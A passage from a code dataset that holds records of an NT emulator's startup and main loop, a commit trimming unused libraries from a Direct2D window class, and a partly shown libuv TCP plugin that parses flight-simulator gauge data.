NULL;\n\tr = p->vm->allocate_virtual_memory( &pstack, 0, stack_size, MEM_COMMIT | MEM_TOP_DOWN, PAGE_READWRITE );\n\tif (r < STATUS_SUCCESS)\n\t\treturn r;\n\n\t\/* teb initialization data *\/\n\tmemset( &init_teb, 0, sizeof init_teb );\n\tinit_teb.StackReserved = pstack;\n\tinit_teb.StackCommit = (BYTE*)init_teb.StackReserved + stack_size;\n\tinit_teb.StackCommitMax = (BYTE*)init_teb.StackCommit - PAGE_SIZE;\n\n\t\/* initialize the first thread's context *\/\n\tp->vm->init_context( ctx );\n\tctx.Eip = (DWORD) get_entry_point( p );\n\tctx.Esp = (DWORD) pstack + stack_size - 8;\n\n\tdprintf(\"entry point = %08lx\\n\", ctx.Eip);\n\n\t\/* when starting nt processes, make the PEB the first arg of NtProcessStartup *\/\n\tr = p->vm->copy_to_user( (BYTE*) ctx.Esp + 4, &p->PebBaseAddress, sizeof p->PebBaseAddress );\n\n\tif (r == STATUS_SUCCESS)\n\t\tr = create_thread( t, p, &id, &ctx, &init_teb, FALSE );\n\n\trelease( p );\n\n\treturn r;\n}\n\nNTSTATUS init_ntdll( void )\n{\n\tWCHAR ntdll[] = {\n\t\t'\\\\','?','?','\\\\','c',':','\\\\','w','i','n','n','t','\\\\',\n\t\t's','y','s','t','e','m','3','2','\\\\','n','t','d','l','l','.','d','l','l',0 };\n\tunicode_string_t us;\n\tfile_t *file = 0;\n\tNTSTATUS r;\n\n\tus.set( ntdll );\n\n\tr = open_file( file, us );\n\tif (r < STATUS_SUCCESS)\n\t\tdie(\"failed to open ntdll\\n\");\n\n\tr = create_section( &ntdll_section, file, 0, SEC_IMAGE, PAGE_EXECUTE_READWRITE );\n\tif (r < STATUS_SUCCESS)\n\t\tdie(\"failed to map ntdll\\n\");\n\n\tKiIntSystemCall = get_proc_address( ntdll_section, \"KiIntSystemCall\" );\n\tdprintf(\"KiIntSystemCall = %08lx\\n\", KiIntSystemCall);\n\tinit_syscalls(KiIntSystemCall != 0);\n\n\trelease( file );\n\n\treturn r;\n}\n\nvoid free_ntdll( void )\n{\n\trelease( ntdll_section );\n\tntdll_section = NULL;\n}\n\nvoid do_cleanup( void )\n{\n\tint num_threads = 0, num_processes = 0;\n\n\tfor ( process_iter_t pi(processes); pi; pi.next() )\n\t{\n\t\tprocess_t *p = pi;\n\t\tif (p->is_signalled())\n\t\t\tcontinue;\n\t\tnum_processes++;\n\t\tfprintf(stderr, \"process %04lx\\n\", p->id);\n\t\tfor ( sibling_iter_t ti(p->threads); ti; ti.next() )\n\t\t{\n\t\t\tthread_t *t = ti;\n\t\t\tif (t->is_signalled())\n\t\t\t\tcontinue;\n\t\t\tfprintf(stderr, \"\\tthread %04lx\\n\", t->trace_id());\n\t\t\tnum_threads++;\n\t\t}\n\t}\n\tif (num_threads || num_processes)\n\t\tfprintf(stderr, \"%d threads %d processes left\\n\", num_threads, num_processes);\n}\n\nstatic void segv_handler(int)\n{\n\tconst int max_frames = 20;\n\tvoid *bt[max_frames];\n\tchar **names;\n\tint n=0, size;\n\tULONG id = 0;\n\n\tif (current)\n\t\tid = current->trace_id();\n\n\tsize = backtrace(bt, max_frames);\n\tnames = backtrace_symbols(bt, size);\n\n\tfprintf(stderr, \"%04lx: caught kernel SEGV (%d frames):\\n\", id, size);\n\tfor (n=0; n<size; n++)\n\t{\n\t\tfprintf(stderr, \"%d: %s\\n\", n, names[n]);\n\t}\n\texit(1);\n}\n\nbool init_skas();\nbool init_tt();\n\nvoid usage( void )\n{\n\tconst char usage[] =\n\t\t\"Usage: %s [options] [native.exe]\\n\"\n\t\t\"Options:\\n\"\n\t\t\" -d,--debug break into debugger on exceptions\\n\"\n\t\t\" -h,--help print this message\\n\"\n\t\t\" -q,--quiet quiet, suppress debug messages\\n\"\n\t\t\" -t,--trace trace syscall entry and exit\\n\"\n\t\t\" -v,--version print version\\n\\n\"\n\t\t\" smss.exe is started by default\\n\\n\";\n\tprintf( usage, PACKAGE_NAME );\n\texit(0);\n}\n\nvoid version( void )\n{\n\tconst char version[] = \"%s\\n\"\n\t\t\"Copyright (C) 2008 Mike McCormack\\n\"\n\t\t\"Licence LGPL\\n\"\n\t\t\"This is free software: you are free to change and redistribute it.\\n\"\n\t\t\"There is NO WARRANTY, to the extent permitted by law.\\n\\n\";\n\tprintf( version, PACKAGE_STRING );\n\texit(0);\n}\n\nvoid parse_options(int argc, char **argv)\n{\n\twhile (1)\n\t{\n\t\tint option_index;\n\t\tstatic struct option long_options[] = {\n\t\t\t{\"debug\", 0, &option_debug, 1 },\n\t\t\t{\"help\", 0, 0, 'h' },\n\t\t\t{\"quiet\", 0, &option_quiet, 1 },\n\t\t\t{\"trace\", 0, &option_trace, 1 },\n\t\t\t{\"version\", 0, 0, 'v' },\n\t\t\t{NULL, 0, 0, 0 },\n\t\t};\n\n\t\tint ch = getopt_long(argc, argv, \"dhtqv\", long_options, &option_index );\n\t\tif (ch == -1)\n\t\t\tbreak;\n\n\t\tswitch (ch)\n\t\t{\n\t\tcase 'd':\n\t\t\toption_debug = 1;\n\t\t\tbreak;\n\t\tcase 'h':\n\t\t\tusage();\n\t\t\tbreak;\n\t\tcase 'q':\n\t\t\toption_quiet = 1;\n\t\t\tbreak;\n\t\tcase 't':\n\t\t\toption_trace = 1;\n\t\t\tbreak;\n\t\tcase 'v':\n\t\t\tversion();\n\t\t}\n\t}\n}\n\nint main(int argc, char **argv)\n{\n\tunicode_string_t us;\n\tthread_t *initial_thread = NULL;\n\tconst char *exename;\n\n\tparse_options( argc, argv );\n\n\tif (optind == argc)\n\t{\n\t\t\/\/ default to starting smss.exe\n\t\texename = \"\\\\??\\\\c:\\\\winnt\\\\system32\\\\smss.exe\";\n\t}\n\telse\n\t{\n\t\texename = argv[optind];\n\t}\n\n\t\/\/ the skas3 patch is deprecated...\n\tif (0) init_skas();\n\n\tinit_tt();\n\tif (!pcreate_address_space)\n\t\tdie(\"no way to manage address spaces found\\n\");\n\n\t\/\/ enable backtraces\n\tsignal(SIGSEGV, segv_handler);\n\n\t\/\/ initialize boottime\n\tSYSTEM_TIME_OF_DAY_INFORMATION dummy;\n\tget_system_time_of_day( dummy );\n\n\tinit_registry();\n\tfiber_t::fibers_init();\n\tinit_root();\n\tcreate_directory_object( (PWSTR) L\"\\\\\" );\n\tcreate_directory_object( (PWSTR) L\"\\\\??\" );\n\tunicode_string_t link_name, link_target;\n\tlink_name.set( L\"\\\\DosDevices\" );\n\tlink_target.copy( L\"\\\\??\" );\n\tcreate_symlink( link_name, link_target );\n\tcreate_directory_object( (PWSTR) L\"\\\\Device\" );\n\tcreate_directory_object( (PWSTR) L\"\\\\Device\\\\MailSlot\" );\n\tcreate_directory_object( (PWSTR) L\"\\\\Security\" );\n\t\/\/create_directory_object( (PWSTR) L\"\\\\DosDevices\" );\n\tcreate_directory_object( (PWSTR) L\"\\\\BaseNamedObjects\" );\n\tcreate_sync_event( (PWSTR) L\"\\\\Security\\\\LSA_AUTHENTICATION_INITIALIZED\" );\n\tcreate_sync_event( (PWSTR) L\"\\\\SeLsaInitEvent\" );\n\tinit_random();\n\tinit_pipe_device();\n\t\/\/ XP\n\tcreate_directory_object( (PWSTR) L\"\\\\KernelObjects\" );\n\tcreate_sync_event( (PWSTR) L\"\\\\KernelObjects\\\\CritSecOutOfMemoryEvent\" );\n\tinit_drives();\n\tinit_ntdll();\n\tcreate_kthread();\n\n\tus.copy( exename );\n\n\tint r = create_initial_process( &initial_thread, us );\n\tif (r < STATUS_SUCCESS)\n\t\tdie(\"create_initial_process() failed (%08x)\\n\", r);\n\n\t\/\/ run the main loop\n\tschedule();\n\n\tntgdi_fini();\n\tr = initial_thread->process->ExitStatus;\n\t\/\/fprintf(stderr, \"process exited (%08x)\\n\", r);\n\trelease( initial_thread );\n\n\tshutdown_kthread();\n\tdo_cleanup();\n\n\tfree_root();\n\tfiber_t::fibers_finish();\n\tfree_registry();\n\tfree_ntdll();\n\n\treturn r;\n}\n<|endoftext|>"} {"text":"<commit_before>\n#include \"pch.h\"\n#include \"D2DWindow.h\"\n#include \"Win32Defs.h\"\n\nusing namespace std;\nusing namespace D2D1;\n\n#pragma comment (lib, \"d2d1.lib\")\n#pragma comment (lib, \"dwrite.lib\")\n#pragma comment (lib, \"D3D11.lib\")\n#pragma comment (lib, \"Dxgi.lib\")\n\nstatic ATOM WndClassAtom;\nstatic const wchar_t WndClassName[] = L\"D2DWindow-{175802BE-0628-45C0-BC8A-3D27C6F4F0BE}\";\n\nD2DWindow::D2DWindow (HINSTANCE hInstance, DWORD exStyle, DWORD style, const RECT& rect, HWND hWndParent, HMENU hMenuOrControlId, IDWriteFactory* dWriteFactory)\n\t: base(hInstance, WndClassName, exStyle, style, rect, hWndParent, hMenuOrControlId)\n\t, _dWriteFactory(dWriteFactory)\n{\n\tauto hr = D2D1CreateFactory(D2D1_FACTORY_TYPE_MULTI_THREADED, IID_PPV_ARGS(&_d2dFactory));\n\tThrowIfFailed(hr);\n\n\tCreateD2DDeviceContext();\n\n\tfloat dpiX, dpiY;\n\t_renderTarget->GetDpi(&dpiX, &dpiY);\n\t_clientSizeDips.width = GetClientWidthPixels() * 96.0f \/ dpiX;\n\t_clientSizeDips.height = GetClientHeightPixels() * 96.0f \/ dpiY;\n}\n\nvoid D2DWindow::CreateD2DDeviceContext()\n{\n\tD2D1_RENDER_TARGET_PROPERTIES props = {};\n\tprops.type = D2D1_RENDER_TARGET_TYPE_HARDWARE;\n\tprops.pixelFormat.format = DXGI_FORMAT_B8G8R8A8_UNORM;\n\tprops.pixelFormat.alphaMode = D2D1_ALPHA_MODE_IGNORE;\n\t_d2dFactory->GetDesktopDpi (&props.dpiX, &props.dpiY);\n\tprops.usage = D2D1_RENDER_TARGET_USAGE_NONE;\n\tprops.minLevel = D2D1_FEATURE_LEVEL_DEFAULT;\n\n\tD2D1_HWND_RENDER_TARGET_PROPERTIES hwndrtprops = { };\n\thwndrtprops.hwnd = GetHWnd();\n\thwndrtprops.pixelSize = { (UINT32) GetClientWidthPixels(), (UINT32) GetClientHeightPixels() };\n\n\tauto hr = _d2dFactory->CreateHwndRenderTarget(&props, &hwndrtprops, &_renderTarget);\n\tThrowIfFailed(hr);\n}\n\nstd::optional<LRESULT> D2DWindow::WindowProc(HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam)\n{\n\tauto resultBaseClass = base::WindowProc(hwnd, uMsg, wParam, lParam);\n\n\tif (uMsg == WM_SIZE)\n\t{\n\t\t_renderTarget = nullptr;\n\t\tCreateD2DDeviceContext();\n\n\t\tfloat dpiX, dpiY;\n\t\t_renderTarget->GetDpi(&dpiX, &dpiY);\n\t\t_clientSizeDips.width = GetClientWidthPixels() * 96.0f \/ dpiX;\n\t\t_clientSizeDips.height = GetClientHeightPixels() * 96.0f \/ dpiY;\n\n\t\treturn 0;\n\t}\n\n\tif (uMsg == WM_ERASEBKGND)\n\t\treturn 0; \/\/ 0 means the window remains marked for erasing, so the fErase member of the PAINTSTRUCT structure will be TRUE.\n\n\tif (uMsg == WM_PAINT)\n\t{\n\t\tProcessWmPaint(hwnd);\n\t\treturn 0;\n\t}\n\n\treturn std::nullopt;\n}\n\nvoid D2DWindow::ProcessWmPaint (HWND hwnd)\n{\n\tif (_painting)\n\t{\n\t\t\/\/ We get here when we're called recursively. The only such case I've seen so far is when\n\t\t\/\/ an assertion fails in code called from this function. We don't want to restart painting\n\t\t\/\/ cause we'll end up with a stack overflow, so let's return without attempting anything \"smart\".\n\t\treturn;\n\t}\n\n\tHRESULT hr;\n\n\t\/\/ Call this before calculating the update rects, to allow derived classed to invalidate stuff.\n\tthis->OnBeforeRender();\n\n\t\/\/ -------------------------------------------------\n\t\/\/ draw the stuff\n\n\t\/\/ Problem: If an assertion fails in code called from this function, the C++ runtime will try to display\n\t\/\/ the assertion message box. It seems that Windows, while processing WM_PAINT, displays message boxes\n\t\/\/ only if the application has called BeginPaint; if the application has not called BeginPaint, Windows\n\t\/\/ will not display the message box, will make sounds when clicking on the application window, and will\n\t\/\/ wait for the user to press Alt before finally displaying it (go figure!)\n\n\tPAINTSTRUCT ps;\n\t::BeginPaint(hwnd, &ps); \/\/ this will also hide the caret, if shown.\n\n\t_painting = true;\n\n\t_renderTarget->BeginDraw();\n\t_renderTarget->SetTransform(IdentityMatrix());\n\n\tthis->Render(_renderTarget);\n\n\thr = _renderTarget->EndDraw(); ThrowIfFailed(hr);\n\n\t::EndPaint(hwnd, &ps); \/\/ this will show the caret in case BeginPaint above hid it.\n\n\tthis->OnAfterRender();\n\n\tassert(_painting);\n\t_painting = false;\n}\n\nD2D1_POINT_2F D2DWindow::GetDipLocationFromPixelLocation(POINT p) const\n{\n\tfloat dpiX, dpiY;\n\t_renderTarget->GetDpi(&dpiX, &dpiY);\n\treturn D2D1_POINT_2F{ p.x * 96.0f \/ dpiX, p.y * 96.0f \/ dpiY };\n}\n\nD2D1_POINT_2F D2DWindow::GetDipLocationFromPixelLocation(float xPixels, float yPixels) const\n{\n\tfloat dpiX, dpiY;\n\t_renderTarget->GetDpi(&dpiX, &dpiY);\n\treturn D2D1_POINT_2F{ xPixels * 96.0f \/ dpiX, yPixels * 96.0f \/ dpiY };\n}\n\nPOINT D2DWindow::GetPixelLocationFromDipLocation(D2D1_POINT_2F locationDips) const\n{\n\tfloat dpiX, dpiY;\n\t_renderTarget->GetDpi(&dpiX, &dpiY);\n\treturn POINT{ (int)roundf(locationDips.x \/ 96.0f * dpiX), (int)roundf(locationDips.y \/ 96.0f * dpiY) };\n}\n\nD2D1_SIZE_F D2DWindow::GetDipSizeFromPixelSize(SIZE sz) const\n{\n\tfloat dpiX, dpiY;\n\t_renderTarget->GetDpi(&dpiX, &dpiY);\n\treturn D2D1_SIZE_F{ sz.cx * 96.0f \/ dpiX, sz.cy * 96.0f \/ dpiY };\n}\n\nSIZE D2DWindow::GetPixelSizeFromDipSize(D2D1_SIZE_F sizeDips) const\n{\n\tfloat dpiX, dpiY;\n\t_renderTarget->GetDpi(&dpiX, &dpiY);\n\treturn SIZE{ (int)(sizeDips.width \/ 96.0f * dpiX), (int)(sizeDips.height \/ 96.0f * dpiY) };\n}\n\nColorF GetD2DSystemColor (int sysColorIndex)\n{\n\tDWORD brg = GetSysColor (sysColorIndex);\n\tDWORD rgb = ((brg & 0xff0000) >> 16) | (brg & 0xff00) | ((brg & 0xff) << 16);\n\treturn ColorF (rgb);\n}\n\nTextLayout TextLayout::Create (IDWriteFactory* dWriteFactory, IDWriteTextFormat* format, const wchar_t* str, float maxWidth)\n{\n\tIDWriteTextLayoutPtr tl;\n\tauto hr = dWriteFactory->CreateTextLayout(str, (UINT32) wcslen(str), format, (maxWidth != 0) ? maxWidth : 10000, 10000, &tl); ThrowIfFailed(hr);\n\tDWRITE_TEXT_METRICS metrics;\n\thr = tl->GetMetrics(&metrics); ThrowIfFailed(hr);\n\treturn TextLayout { move(tl), metrics };\n}\n\n<commit_msg>Cleanup of unused libs.<commit_after>\n#include \"pch.h\"\n#include \"D2DWindow.h\"\n#include \"Win32Defs.h\"\n\nusing namespace std;\nusing namespace D2D1;\n\n#pragma comment (lib, \"d2d1.lib\")\n#pragma comment (lib, \"dwrite.lib\")\n\nstatic ATOM WndClassAtom;\nstatic const wchar_t WndClassName[] = L\"D2DWindow-{175802BE-0628-45C0-BC8A-3D27C6F4F0BE}\";\n\nD2DWindow::D2DWindow (HINSTANCE hInstance, DWORD exStyle, DWORD style, const RECT& rect, HWND hWndParent, HMENU hMenuOrControlId, IDWriteFactory* dWriteFactory)\n\t: base(hInstance, WndClassName, exStyle, style, rect, hWndParent, hMenuOrControlId)\n\t, _dWriteFactory(dWriteFactory)\n{\n\tauto hr = D2D1CreateFactory(D2D1_FACTORY_TYPE_MULTI_THREADED, IID_PPV_ARGS(&_d2dFactory));\n\tThrowIfFailed(hr);\n\n\tCreateD2DDeviceContext();\n\n\tfloat dpiX, dpiY;\n\t_renderTarget->GetDpi(&dpiX, &dpiY);\n\t_clientSizeDips.width = GetClientWidthPixels() * 96.0f \/ dpiX;\n\t_clientSizeDips.height = GetClientHeightPixels() * 96.0f \/ dpiY;\n}\n\nvoid D2DWindow::CreateD2DDeviceContext()\n{\n\tD2D1_RENDER_TARGET_PROPERTIES props = {};\n\tprops.type = D2D1_RENDER_TARGET_TYPE_HARDWARE;\n\tprops.pixelFormat.format = DXGI_FORMAT_B8G8R8A8_UNORM;\n\tprops.pixelFormat.alphaMode = D2D1_ALPHA_MODE_IGNORE;\n\t_d2dFactory->GetDesktopDpi (&props.dpiX, &props.dpiY);\n\tprops.usage = D2D1_RENDER_TARGET_USAGE_NONE;\n\tprops.minLevel = D2D1_FEATURE_LEVEL_DEFAULT;\n\n\tD2D1_HWND_RENDER_TARGET_PROPERTIES hwndrtprops = { };\n\thwndrtprops.hwnd = GetHWnd();\n\thwndrtprops.pixelSize = { (UINT32) GetClientWidthPixels(), (UINT32) GetClientHeightPixels() };\n\n\tauto hr = _d2dFactory->CreateHwndRenderTarget(&props, &hwndrtprops, &_renderTarget);\n\tThrowIfFailed(hr);\n}\n\nstd::optional<LRESULT> D2DWindow::WindowProc(HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam)\n{\n\tauto resultBaseClass = base::WindowProc(hwnd, uMsg, wParam, lParam);\n\n\tif (uMsg == WM_SIZE)\n\t{\n\t\t_renderTarget = nullptr;\n\t\tCreateD2DDeviceContext();\n\n\t\tfloat dpiX, dpiY;\n\t\t_renderTarget->GetDpi(&dpiX, &dpiY);\n\t\t_clientSizeDips.width = GetClientWidthPixels() * 96.0f \/ dpiX;\n\t\t_clientSizeDips.height = GetClientHeightPixels() * 96.0f \/ dpiY;\n\n\t\treturn 0;\n\t}\n\n\tif (uMsg == WM_ERASEBKGND)\n\t\treturn 0; \/\/ 0 means the window remains marked for erasing, so the fErase member of the PAINTSTRUCT structure will be TRUE.\n\n\tif (uMsg == WM_PAINT)\n\t{\n\t\tProcessWmPaint(hwnd);\n\t\treturn 0;\n\t}\n\n\treturn std::nullopt;\n}\n\nvoid D2DWindow::ProcessWmPaint (HWND hwnd)\n{\n\tif (_painting)\n\t{\n\t\t\/\/ We get here when we're called recursively. The only such case I've seen so far is when\n\t\t\/\/ an assertion fails in code called from this function. We don't want to restart painting\n\t\t\/\/ cause we'll end up with a stack overflow, so let's return without attempting anything \"smart\".\n\t\treturn;\n\t}\n\n\tHRESULT hr;\n\n\t\/\/ Call this before calculating the update rects, to allow derived classed to invalidate stuff.\n\tthis->OnBeforeRender();\n\n\t\/\/ -------------------------------------------------\n\t\/\/ draw the stuff\n\n\t\/\/ Problem: If an assertion fails in code called from this function, the C++ runtime will try to display\n\t\/\/ the assertion message box. It seems that Windows, while processing WM_PAINT, displays message boxes\n\t\/\/ only if the application has called BeginPaint; if the application has not called BeginPaint, Windows\n\t\/\/ will not display the message box, will make sounds when clicking on the application window, and will\n\t\/\/ wait for the user to press Alt before finally displaying it (go figure!)\n\n\tPAINTSTRUCT ps;\n\t::BeginPaint(hwnd, &ps); \/\/ this will also hide the caret, if shown.\n\n\t_painting = true;\n\n\t_renderTarget->BeginDraw();\n\t_renderTarget->SetTransform(IdentityMatrix());\n\n\tthis->Render(_renderTarget);\n\n\thr = _renderTarget->EndDraw(); ThrowIfFailed(hr);\n\n\t::EndPaint(hwnd, &ps); \/\/ this will show the caret in case BeginPaint above hid it.\n\n\tthis->OnAfterRender();\n\n\tassert(_painting);\n\t_painting = false;\n}\n\nD2D1_POINT_2F D2DWindow::GetDipLocationFromPixelLocation(POINT p) const\n{\n\tfloat dpiX, dpiY;\n\t_renderTarget->GetDpi(&dpiX, &dpiY);\n\treturn D2D1_POINT_2F{ p.x * 96.0f \/ dpiX, p.y * 96.0f \/ dpiY };\n}\n\nD2D1_POINT_2F D2DWindow::GetDipLocationFromPixelLocation(float xPixels, float yPixels) const\n{\n\tfloat dpiX, dpiY;\n\t_renderTarget->GetDpi(&dpiX, &dpiY);\n\treturn D2D1_POINT_2F{ xPixels * 96.0f \/ dpiX, yPixels * 96.0f \/ dpiY };\n}\n\nPOINT D2DWindow::GetPixelLocationFromDipLocation(D2D1_POINT_2F locationDips) const\n{\n\tfloat dpiX, dpiY;\n\t_renderTarget->GetDpi(&dpiX, &dpiY);\n\treturn POINT{ (int)roundf(locationDips.x \/ 96.0f * dpiX), (int)roundf(locationDips.y \/ 96.0f * dpiY) };\n}\n\nD2D1_SIZE_F D2DWindow::GetDipSizeFromPixelSize(SIZE sz) const\n{\n\tfloat dpiX, dpiY;\n\t_renderTarget->GetDpi(&dpiX, &dpiY);\n\treturn D2D1_SIZE_F{ sz.cx * 96.0f \/ dpiX, sz.cy * 96.0f \/ dpiY };\n}\n\nSIZE D2DWindow::GetPixelSizeFromDipSize(D2D1_SIZE_F sizeDips) const\n{\n\tfloat dpiX, dpiY;\n\t_renderTarget->GetDpi(&dpiX, &dpiY);\n\treturn SIZE{ (int)(sizeDips.width \/ 96.0f * dpiX), (int)(sizeDips.height \/ 96.0f * dpiY) };\n}\n\nColorF GetD2DSystemColor (int sysColorIndex)\n{\n\tDWORD brg = GetSysColor (sysColorIndex);\n\tDWORD rgb = ((brg & 0xff0000) >> 16) | (brg & 0xff00) | ((brg & 0xff) << 16);\n\treturn ColorF (rgb);\n}\n\nTextLayout TextLayout::Create (IDWriteFactory* dWriteFactory, IDWriteTextFormat* format, const wchar_t* str, float maxWidth)\n{\n\tIDWriteTextLayoutPtr tl;\n\tauto hr = dWriteFactory->CreateTextLayout(str, (UINT32) wcslen(str), format, (maxWidth != 0) ? maxWidth : 10000, 10000, &tl); ThrowIfFailed(hr);\n\tDWRITE_TEXT_METRICS metrics;\n\thr = tl->GetMetrics(&metrics); ThrowIfFailed(hr);\n\treturn TextLayout { move(tl), metrics };\n}\n\n<|endoftext|>"} {"text":"<commit_before>#include <assert.h>\n#include <iostream>\n#include <memory>\n#include <vector>\n\n#include \"common\/simhubdeviceplugin.h\"\n#include \"main.h\"\n\n\/\/ -- public C FFI\n\nextern \"C\" {\nint simplug_init(SPHANDLE *plugin_instance, LoggingFunctionCB logger)\n{\n *plugin_instance = new SimSourcePluginStateManager(logger);\n return 0;\n}\n\nint simplug_config_passthrough(SPHANDLE plugin_instance, void *libconfig_instance)\n{\n return static_cast<PluginStateManager *>(plugin_instance)->configPassthrough(static_cast<libconfig::Config *>(libconfig_instance));\n}\n\nint simplug_preflight_complete(SPHANDLE plugin_instance)\n{\n return static_cast<PluginStateManager *>(plugin_instance)->preflightComplete();\n}\n\nvoid simplug_commence_eventing(SPHANDLE plugin_instance, EnqueueEventHandler enqueue_callback, void *arg)\n{\n static_cast<PluginStateManager *>(plugin_instance)->commenceEventing(enqueue_callback, arg);\n}\n\nint simplug_deliver_value(SPHANDLE plugin_instance, GenericTLV *value)\n{\n return static_cast<PluginStateManager *>(plugin_instance)->deliverValue(value);\n}\n\nvoid simplug_cease_eventing(SPHANDLE plugin_instance)\n{\n static_cast<PluginStateManager *>(plugin_instance)->ceaseEventing();\n}\n\nvoid simplug_release(SPHANDLE plugin_instance)\n{\n assert(plugin_instance);\n delete static_cast<PluginStateManager *>(plugin_instance);\n}\n}\n\n\/\/ -- internal implementation\n\nSimSourcePluginStateManager *SimSourcePluginStateManager::_StateManagerInstance = NULL;\n\nvoid SimSourcePluginStateManager::AllocBuffer(uv_handle_t *handle, size_t size, uv_buf_t *buf)\n{\n *buf = SimSourcePluginStateManager::StateManagerInstance()->_readBuffer;\n}\n\n\/\/! static getter for singleton instance of our class\nSimSourcePluginStateManager *SimSourcePluginStateManager::StateManagerInstance(void)\n{\n return _StateManagerInstance;\n}\n\nSimSourcePluginStateManager::SimSourcePluginStateManager(LoggingFunctionCB logger)\n : PluginStateManager(logger)\n{\n \/\/ enforce singleton pre-condition\n\n assert(!_StateManagerInstance);\n\n _StateManagerInstance = this;\n _processedElementCount = 0;\n\n if (!(_rawBuffer = (char *)malloc(BUFFER_LEN))) {\n printf(\"Unable to allocate buffer of size %d\", BUFFER_LEN);\n }\n else {\n _readBuffer = ::uv_buf_init(_rawBuffer, BUFFER_LEN);\n }\n}\n\nSimSourcePluginStateManager::~SimSourcePluginStateManager(void)\n{\n \/\/ TODO: enable once shtudown implemented\n if (_pluginThread != NULL) {\n if (_pluginThread->joinable()) {\n ceaseEventing();\n _pluginThread->join();\n }\n\n delete _pluginThread;\n }\n\n if (_rawBuffer != NULL)\n free(_rawBuffer);\n}\n\nint SimSourcePluginStateManager::preflightComplete(void)\n{\n int retVal = PREFLIGHT_OK;\n int port = 8091;\n\n libconfig::Setting *devicesConfiguraiton = NULL;\n\n std::string type = \"\";\n std::string ipAddress = \"\";\n\n try {\n devicesConfiguraiton = &_config->lookup(\"configuration\");\n }\n catch (const libconfig::SettingNotFoundException &nfex) {\n _logger(LOG_ERROR, \"Config file parse error at %s. Skipping....\", nfex.getPath());\n }\n\n for (libconfig::SettingIterator iter = devicesConfiguraiton->begin(); iter != devicesConfiguraiton->end(); iter++) {\n\n if (iter->exists(\"ipAddress\")) {\n iter->lookupValue(\"ipAddress\", ipAddress);\n }\n else {\n ipAddress = \"127.0.0.1\";\n }\n\n if (iter->exists(\"port\")) {\n iter->lookupValue(\"port\", port);\n }\n }\n\n struct sockaddr_in req_addr;\n\n _eventLoop = uv_default_loop();\n check_uv(uv_loop_init(_eventLoop));\n\n check_uv(uv_tcp_init(_eventLoop, &_tcpClient));\n uv_tcp_keepalive(&_tcpClient, 1, 60);\n\n uv_ip4_addr(ipAddress.c_str(), port, &req_addr);\n\n int connectErr = uv_tcp_connect(&_connectReq, &_tcpClient, (struct sockaddr *)&req_addr, &SimSourcePluginStateManager::OnConnect);\n\n if (connectErr < 0) {\n retVal = PREFLIGHT_FAIL;\n }\n\n return retVal;\n}\n\nvoid SimSourcePluginStateManager::OnConnect(uv_connect_t *req, int status)\n{\n assert(SimSourcePluginStateManager::StateManagerInstance());\n\n if (status == SIM_CONNECT_NOT_FOUND) {\n SimSourcePluginStateManager::StateManagerInstance()->_logger(LOG_ERROR, \" - Failed to connect to simulator\");\n }\n else {\n SimSourcePluginStateManager::StateManagerInstance()->_logger(LOG_INFO, \" - Connected to simulator %d\", status);\n SimSourcePluginStateManager::StateManagerInstance()->instanceConnectionHandler(req, status);\n }\n}\n\nvoid SimSourcePluginStateManager::OnRead(uv_stream_t *server, ssize_t nread, const uv_buf_t *buf)\n{\n SimSourcePluginStateManager::StateManagerInstance()->instanceReadHandler(server, nread, buf);\n}\n\nvoid SimSourcePluginStateManager::OnClose(uv_handle_t *handle)\n{\n assert(SimSourcePluginStateManager::StateManagerInstance());\n SimSourcePluginStateManager::StateManagerInstance()->instanceCloseHandler(handle);\n}\n\nvoid SimSourcePluginStateManager::instanceConnectionHandler(uv_connect_t *req, int status)\n{\n if (uv_is_readable(req->handle)) {\n uv_read_start(req->handle, &SimSourcePluginStateManager::AllocBuffer, &SimSourcePluginStateManager::OnRead);\n }\n else {\n printf(\"not readable\\n\");\n }\n}\n\nvoid SimSourcePluginStateManager::instanceReadHandler(uv_stream_t *server, ssize_t nread, const uv_buf_t *buf)\n{\n if (nread > 0) {\n uv_buf_t buffer = uv_buf_init((char *)malloc(nread), nread);\n memcpy(buffer.base, buf->base, nread);\n buffer.base[nread - 1] = '\\0';\n processData(buffer.base, nread);\n free(buffer.base);\n }\n else if (nread < 0) {\n if (nread == UV_EOF) {\n SimSourcePluginStateManager::StateManagerInstance()->_logger(LOG_INFO, \" - Stopping prepare3d ingest loop\");\n ceaseEventing();\n }\n else {\n SimSourcePluginStateManager::StateManagerInstance()->_logger(LOG_INFO, \" - %s\", uv_strerror(nread));\n uv_close((uv_handle_t *)server, &SimSourcePluginStateManager::OnClose);\n }\n }\n}\n\nvoid SimSourcePluginStateManager::processData(char *data, int len)\n{\n if (len > 2) {\n int elementCount = 0;\n char *p = strtok(data, \"\\n\");\n char *array[MAX_ELEMENTS_PER_UPDATE];\n\n while (p != NULL) {\n size_t len = strlen(p);\n\n if (len > 2) {\n char *buffer = (char *)malloc(BUFFER_LEN);\n memset(buffer, 0, BUFFER_LEN);\n strncpy(buffer, p, len);\n buffer[len - 1] = '\\0';\n array[elementCount++] = buffer;\n }\n\n p = strtok(NULL, \"\\n\");\n }\n\n for (int i = 0; i < elementCount; ++i) {\n processElement(array[i]);\n free(array[i]);\n }\n }\n}\n\nvoid SimSourcePluginStateManager::processElement(char *element)\n{\n char *name = strtok(element, \"=\");\n char *value = strtok(NULL, \"=\");\n\n if (value == NULL)\n return;\n\n char *type = getElementDataType(name[0]);\n\n if (type != NULL) {\n \/\/ SimSourcePluginStateManager::StateManagerInstance()->_logger(LOG_INFO, \"%s %s %s\", name, value, type);\n simElement el;\n\n el.name = name;\n\n if (strncmp(type, \"float\", sizeof(&type)) == 0) {\n el.type = CONFIG_FLOAT;\n el.value.float_value = atof(value);\n el.length = sizeof(float);\n }\n else if (strncmp(type, \"char\", sizeof(&type)) == 0) {\n el.type = CONFIG_STRING;\n el.value.string_value = value;\n el.length = strlen(value);\n }\n else if (strncmp(type, \"integer\", sizeof(&type)) == 0) {\n el.type = CONFIG_INT;\n el.value.int_value = atoi(value);\n el.length = sizeof(int);\n }\n else if (strncmp(type, \"bool\", sizeof(&type)) == 0) {\n el.type = CONFIG_BOOL;\n el.length = sizeof(int);\n\n if (strncmp(value, \"OFF\", sizeof(el.value)) == 0)\n el.value.bool_value = 0;\n else\n el.value.bool_value = 1;\n }\n _enqueueCallback(this, (void *)&el, _callbackArg);\n _processedElementCount++;\n }\n}\n\nchar *SimSourcePluginStateManager::getElementDataType(char identifier)\n{\n switch (identifier) {\n case GAUGE_IDENTIFIER:\n 